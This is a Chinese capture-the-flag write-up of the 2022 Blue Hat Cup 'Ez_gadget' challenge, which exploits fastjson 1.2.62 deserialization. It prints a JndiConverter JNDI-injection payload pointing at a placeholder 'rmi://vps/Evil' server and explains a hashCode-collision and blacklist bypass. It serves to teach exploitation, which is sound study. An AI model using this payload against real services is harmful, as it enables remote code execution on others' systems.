2022蓝帽杯Ez_gadget题目分析
0x01 前言
今天也来看一道关于fastjson的题目,不同于之前复现的题,蓝帽杯的这道更纯粹的考察fastjson的反序列化,而且是在开启AutoTypeSupport的情况下,题目难度也不是太高,但是也有很多需要学习的点。
0x02 题目分析
主要就两个类
secret

生成十六位的随机字符串,定义了一个getter方法返回字符串。重点还是路由
JSONController

定义了一个跟路由,返回一个随机key。定义一个json路由,第一层if判断
if (str != null && |
有点熟悉啊,有点神似php里的hash碰撞,但是不是一样的东西。这个if判断的意思就是两个不同字符串的hash值要相等,毋庸置疑,肯定是有的,问题是怎么找到,后面会讲。
第二个if就是一个黑名单,限制了用户的输入,它开启了AutoTypeSupport开关,最后就是parseObject函数对用户传进来的json进行fastjson反序列化。
0x03 题目复现
查看pom里有啥依赖

需要我们注意的就这两个,fastjson是1.2.62版本的,百度一下有没有可以打的payload。一搜还真有,还是CVE。
网上搜的payload:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://vps/Evil"} |
恰好这个恶意类就在下面这个xbean的依赖里,确信就是这个啦。
JndiConverter
跟进源码看一下

很明显,存在JNDI注入。在往上找找有谁可以调用toObjectImpl方法,AsText属性还没有看到,肯定在父类,跟进看一下
AbstractConverter

setter方法里调用了toObject方法

调用了目的方法。参数也可控,逻辑很简单,感觉没什么好说的。自己写一个demo测试payload发现可以弹出计算器
import com.alibaba.fastjson.JSON; |
好奇它是怎么绕过checkAutoType方法的,跟进看一下
前面的都差不多

看这里,设置两个十六进制数,对classname的第一个字符和最后一个字符分别异或再相乘,可以把它看作一种hash运算,可以类似于一种黑名单检测,继续往下走

autoTypeSupport是开启的,所以会走到这个if分支里,它从第四位开始,对classname的每一个字符进行hash运算,然后查找它是不是在期望类里。如果是,类加载。如果不是,判断是否在黑名单中,这些都不满足,所以往下走

来到这里,AutoTypeSupport开启,所以会走到这个if分支里,完成类的加载。之前都是从各种缓存里找,也找不到。

最后也是绕过一些异常,添加缓存,返回clazz
hash问题
执行命令的payload也有了,那么就剩下绕过两个if了。
看一下hashCode方法的内部逻辑

翻译过来就是
HashCode(S)=S[0]∗31^n−1+S[1]∗31^n−2+...+S[n−2]∗31+S[n−1] |
在网上找到相关的文章,其中是这么说的

将第一个字母-1,第二个字母+31,就可以满足hash值相等
from urllib import parse |
另一个黑名单的问题,可以用unicode编码或者%0a换行绕过
复现
访问根路由获取key

利用脚本生成相同hash值的字符串


配置好反连
burp发包,弹出计算器
